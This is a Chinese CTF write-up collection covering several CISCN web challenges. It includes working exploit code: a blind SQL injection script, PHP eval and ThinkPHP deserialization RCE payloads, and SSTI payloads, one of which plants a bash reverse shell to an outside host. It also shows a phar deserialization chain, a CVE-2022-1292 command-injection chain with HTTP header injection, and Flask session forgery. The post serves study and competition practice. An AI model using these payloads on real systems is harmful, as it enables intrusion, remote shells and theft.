前言
备战CISCN,先在NSS上看看前几年的题
[CISCN 2019华北Day2]Web1
布尔盲注-异或注入
进入题目,直接给了我们一个查询框
注入点在post传参的id,测试发现是数字型注入
尝试万能密码1'or 1 = 1#
,返回SQL Injection Checked.
,说明存在过滤
fuzz一下,发现关键字ban了空格,反引号,"
,handler
,information_schema
,union
,and
,or
,limit
,group
,updatexml
,insert
,update
,#
,--
过滤有点多,常规的注入方法看来行不通
不过题目上面已经告诉我们flag在flag表的flag列中了
所以这里可以考虑用盲注
我们知道0^1==1
,而id=1时有明确的返回内容Hello, glzjin wants a girlfriend.
所以可以利用这点进行盲注匹配flag
exp:
import requests
url = 'http://node4.anna.nssctf.cn:28472/index.php'
flag = ''
i = 0
while True:
head = 1
tail = 127
i += 1
while head < tail:
mid = (head + tail) >> 1
payload = f"0^if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0)"
data = {"id": payload}
r = requests.post(url, data=data)
if "Hello, glzjin wants a girlfriend." in r.text:
head = mid + 1
else:
tail = mid
if head != 1:
flag += chr(head)
print(flag)
else:
break
注意由于过滤了空格,查询的表名和列名要用括号包裹
[CISCN 2019初赛]Love Math
打开看到题目php源码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这里是白名单过滤,只能用数学函数
数字与字符串的转换原理参考我的rce博客即可
<?php
echo base_convert('system',36,10);
echo "\n";
echo base_convert('getallheaders',30,10);
用getallheaders(){1}
函数进行参数带外到请求头,进行任意命令执行
payload:
?c=base_convert(1751504350,10,36)(base_convert(8768397090111664438,10,30)(){1})
1:ls /
[CISCN 2022 初赛]ezpop
ThinkPHP V6.0.12LTS反序列化漏洞
进入题目,可知框架是ThinkPHP V6.0.12LTS
dirsearch扫一下,发现存在www.zip源码泄露
网上搜一下,会发现存在反序列化漏洞,具体研究可以移步到我的另一篇文章中:https://c1oudfl0w0.github.io/blog/2023/10/24/ThinkPHP%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
在app/controller/Index.php中发现反序列化入口
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
public function test()
{
unserialize($_POST['a']);
}
}
poc:
<?php
namespace think {
abstract class Model
{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = '')
{
$this->lazySave = True;
$this->data = ['whoami' => ['ls /']];# 这里需要自己进行更改!!!
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami', ['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace {
echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
建议用burpsuite发包
[CISCN 2019华东南]Double Secret
python2 ssti
进入题目,只告诉我们“Welcome To Find Secret”
那就dirsearch扫一下看看有没有可利用的路由
访问/secret,告诉我们“Tell me your secret.I will encrypt it so others can’t see”
应该是让我们传入secret参数,尝试ssti注入,直接返回报错页面
在报错信息里发现源码泄露
看起来是对传入的secret进行rc4解密再进行渲染,rc4的key为HereIsTreasure
那么套脚本里生成{{7*7}}
看看
# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文
import base64
from urllib.parse import quote
def rc4_main(key="init_key", message="init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" % quote(cipher))
# print("加密后的输出(经过编码):")
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
rc4_main("HereIsTreasure", "{{7*7}}")
成功回显49,接下来就是ssti的部分了,注意python版本是2.7
先用{{''.__class__.__mro__[2].__subclasses__()}}
查找一下可以利用的类,因为是python2,所以很多类的利用方法和python3有较大差别
法一:<type ‘file’>
在python2中,我们可以用<type 'file'>
来调用文件读写
{{''.__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()}}
法二:__builtins__模块/os模块
__builtins__模块
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval'](\"__import__('os').popen('ls').read()\")}}
os模块
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
法三:通过写 jinja2 的 environment.py 执行命令
#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}
[CISCN 2019华北Day1]Web1 Dropbox
任意文件下载+phar文件上传
进入题目,注册,登录
看到一个文件上传的按钮,只能传png,jpg,gif
随便上传个图片马之后发现后缀没变,但是可以下载下来,抓包看一下发现存在任意文件下载
测试一下下载/etc/passwd
成功回显,那就先下个upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
正常的文件上传源码,发现class.php,下载
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
很明显这里存在phar反序列化
再把另外几个功能的源码下下来
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
可以发现这里设置了open_basedir,所以我们不能直接读flag
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
这里也会调用File类,同样存在任意文件删除
那么我们的重心就在File类上面
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
里面有不少能触发phar反序列化的函数
接下来就是构造pop链
这里只保留关键的部分
//User类
public function __destruct() {
$this->db->close();
}
//Filelist类
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
//File类
public function close() {
return file_get_contents($this->filename);
}
首先我们的目标是触发File::close
,而上面User::__destruct
很明显会触发Filelist::__call
,
调用close()触发Filelist::__call
时的流程:先将方法名存储$this->funcs
数组里,然后依次调用$this->files
数组里的元素的close()方法,然后存储在$this->results[$file->name()][$func]
,如果是File::close()
,就是执行file_get_contents
,所以$this->files
数组里的元素必须为File类的对象
然后看Filelist::__destruct
,这里先输出$this->funcs
里的元素的值,然后输出$this->results
数组里的数组元素的键值对,而在__call()
函数里我们存储的文件的内容就在$result as $func => $value
的$value
里,所以只要构造$this->files
的值,就可以在最后面输出其文件的内容,这样就可以获得flag
那么链子很明显了:User::__destruct -> Filelist::__call -> File::close
,最后通过Filelist::__destruct
输出结果
但是在download.php里面有openbase_dir的限制,不让我们读取根目录
不过delete.php也调用了File类,那里没有限制,所以我们可以用delete.php来读取flag,这里要猜测flag为flag.txt
构造phar包
<?php
class User
{
public $db;
public function __construct()
{
$this->db = new FileList();
}
}
class File
{
public $filename = "/flag.txt";
}
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct()
{
$file = new File();
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
$a = new User();
@unlink('test.phar'); //删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$phar->setMetadata($a); //写入meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();//签名自动计算
生成之后改成png上传即可
然后在delete.php用phar伪协议读取
[CISCN 2022 初赛]online_crt
CVE-2022-1292 + go的RawPath特性 + 前后端url注入
参考:https://rce.moe/2022/05/30/c-rehash-CVE-2022-1292-ciscn-2022-online-crt/
下载附件,审计代码
app.py
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(16)
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
app.run(host="0.0.0.0", port=8888)
路由有/
,/getcrt
,/createlink
,/proxy
/getcrt路由:输入几个参数,调用get_crt生成crt文件
/createlink路由:读取刚才生成的crt文件
/proxy路由:连接内网,与go源码对接
main.go
package main
import (
"github.com/gin-gonic/gin"
"os"
"strings"
)
func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
func index(c *gin.Context) {
c.String(200, "hello world")
}
func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)
if err := router.Run(":8887"); err != nil {
panic(err)
}
}
功能就是修改crt文件的文件名
到这里我们知道这题肯定要从crt文件入手,网上搜一下有没有相关漏洞,这时候我们把注意点放在c_rehash
这个没见过的命令上
c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件、hash命名的符号链接
搜一下,可以发现存在CVE-2022-1292
CVE-2022-1292 OpenSSL命令注入漏洞
可操作/etc/ssl/certs/目录的攻击者可注入恶意命令,以c_rehash脚本的权限执行任意命令。
网上没搜到exp,不过找到了自检方法,脚本中要存在以下代码
$fname =~s/"/"\\\\\\\\""/g;
my ($hash, $fprint) =`"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;
$fname =~s/"/"\\\\\\\\""/g;
my ($hash, $fprint) =`"$openssl" crl $crlhash -fingerprint -noout -in "$fname"`;
而比赛时我们需要根据openssl官方在github上的diff来反推利用方式:https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split&w=0
勉强靠逻辑审一下perl
很明显,修复前的代码中存在把文件名直接拼接到命令的行为,所以只要在文件名中使用反引号就可以执行任意命令
点一下expand up的按钮向上追溯
sub hash_dir {
my %hashlist;
print "Doing $_[0]\n";
chdir $_[0];
opendir(DIR, ".");
my @flist = sort readdir(DIR);
closedir DIR;
if ( $removelinks ) {
# Delete any existing symbolic links
foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
if (-l $_) {
print "unlink $_" if $verbose;
unlink $_ || warn "Can't unlink $_, $!\n";
}
}
}
FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
# Check to see if certificates and/or CRLs present.
my ($cert, $crl) = check_file($fname);
if (!$cert && !$crl) {
print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
next;
}
link_hash_cert($fname) if ($cert);
link_hash_crl($fname) if ($crl);
}
}
sub check_file {
my ($is_cert, $is_crl) = (0,0);
my $fname = $_[0];
open IN, $fname;
while(<IN>) {
if (/^-----BEGIN (.*)-----/) {
my $hdr = $1;
if ($hdr =~ /^(X509 |TRUSTED |)CERTIFICATE$/) {
$is_cert = 1;
last if ($is_crl);
} elsif ($hdr eq "X509 CRL") {
$is_crl = 1;
last if ($is_cert);
}
}
}
hash_dir
部分会检查文件后缀名是否为.(pem)|(crt)|(cer)|(crl)
check_file
部分检查文件内容,文件头要符合crt文件的格式,那么到时候我们要带上-----BEGIN CERTIFICATE-----
的文件头
这样子我们可以整理一下利用条件:
- 在执行
c_rehash
命令时目标目录下文件可控 - 文件后缀符合要求
- 文件内容必须包含证书或者是吊销列表
- 文件名可控
题目中/getcrt生成证书的功能就可以创建一个满足这些要求的文件
而生成之后我们就需要想办法把文件重命名为我们要注入的命令
而go重命名部分这里存在一个过滤
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
会检查url中未经转义的路径和host的值
go的RawPath特性
要我们访问路由,又检测未转义的路径是否为空,猜测应该是存在某个特性
跟踪RawPath的定义,翻一下net库url包的源码
从注释我们可以得知,go会对原始url进行反转义操作(URL解码),如果反转义后再次转义的url与原始url不同,那么RawPath会被设置为原始url,反之置为空
而根据示例,只要我们把url中的任意一个斜杠进行url编码,就可以绕过这个检查了
url注入http头
python发出的请求包中
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
host头被写死为test_api_host,那么我们就要想办法让go后端认为host的值为admin
注意到python在代理请求时直接使用了socket发送raw数据包,在数据包{uri}
处没有过滤
所以我们可以直接在uri注入一个host头来替换原先的头,类似CVE-2019-9740
我们注入的内容要为整个请求包体,所以构造完的请求包要为
GET / HTTP/1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
这样就绕过了重命名的检查
构造利用链
先请求/getcrt路由,随便输点什么,生成一个证书,然后会返回证书路径
记住路径static/crt/9bfece48-18d9-48ad-a5f5-614b20b15e07.crt
然后请求/proxy修改证书名注入命令
首先我们需要知道linux文件名可用字符包含大部分可打印字符,但是斜杠不行
所以怎么执行命令也是个问题
法1:base64编码
编码命令执行,首先就会想到base64
echo Y2F0IC9mbGFnID4gMQ== |base64 -d|bash
一点tip:可以直接cat /*
读取根目录下的所有内容,在这种写文件带外的情况有时候还挺好用的
根据上面的trick编写exp:
import urllib.parse
uri = '''/admin%2frename?oldname=9bfece48-18d9-48ad-a5f5-614b20b15e07.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)
生成payload:
/admin%252frename%3Foldname%3D9bfece48-18d9-48ad-a5f5-614b20b15e07.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3E1.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0A
接下来发出请求,注意这个路由的请求方式是request.form.get("uri", "/")
,get请求但是发送表单
bp里面先选为POST请求,之后改成GET就行,然后将2次url编码的结果复制到uri上时,注意在最后打上两个回车即\r\n
注意换行数
然后访问/createlink路由触发命令执行
最后访问/static/crt/flag.txt得到flag即可
法2:获取/
如果上面base64编码用不了,那我们可以考虑利用截断环境变量获取斜杠,可以参考我的rce总结:https://c1oudfl0w0.github.io/blog/2023/03/15/RCE%E6%80%BB%E7%BB%93/#%E7%B3%BB%E7%BB%9F%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E6%9E%84%E9%80%A0%E5%91%BD%E4%BB%A4
${SHELL:0:1}
可以使用SHELL环境变量的开头第一个字符来替代斜杠
如果用不了SHELL,也可以直接env >qweqwe
找找靶机的环境变量有没有哪个变量值为斜杠的拿来用
[CISCN 2019华东南]Web4
任意文件读取+随机数获取+session伪造
进入题目,点击链接,发现来到一个文件读取的路由/read?url=https://baidu.com
那么我们先读取一下当前进程/proc/self/cmdline
得到/usr/local/bin/python/app/app.py
接下来读app.py(直接读app.py就行不用加绝对路径)
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
审计一下代码,开了debug模式,flag在/flag路由下,需要满足session的值为username=fuck
而SECRET_KEY的值是随机的,种子是random.seed(uuid.getnode())
uuid.getnode()
获取硬件地址作为48位正整数。“硬件地址”是指网络接口的MAC地址,在具有多个网络接口的机器上,可以返回其中任何一个的MAC地址。
那看来我们只需要获取靶机的mac地址就能得到seed来获得SECRET_KEY了
在flask算pin那里我们就知道mac的地址在/sys/class/net/eth0/address
利用任意文件读取的功能读到mac地址
然后编写exp获得SECRET_KEY
import random
mac="02:42:ac:02:a0:f4"
nmac=mac.replace(":", "")
random.seed(int(nmac,16)) # 转成16进制
key = str(random.random() * 233)
print(key)
注意:从上面的源码和网页的响应头我们都可以知道题目的环境是python2,python2和python3在这里保留的位数不一样,所以我们要在python2上面跑这个exp
接下来伪造session即可
python flask_session_cookie_manager3.py decode -s 230.725199684 -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZXVuTw.i5NQJR0Egpc03Nf9EDf4uTSBCQY"
# {'username': b'www-data'} 这里要带上SECRET_KEY才能解码出正确的格式
python flask_session_cookie_manager3.py encode -s 230.725199684 -t {'username':'fuck'}
带着cookie访问/flag路由即可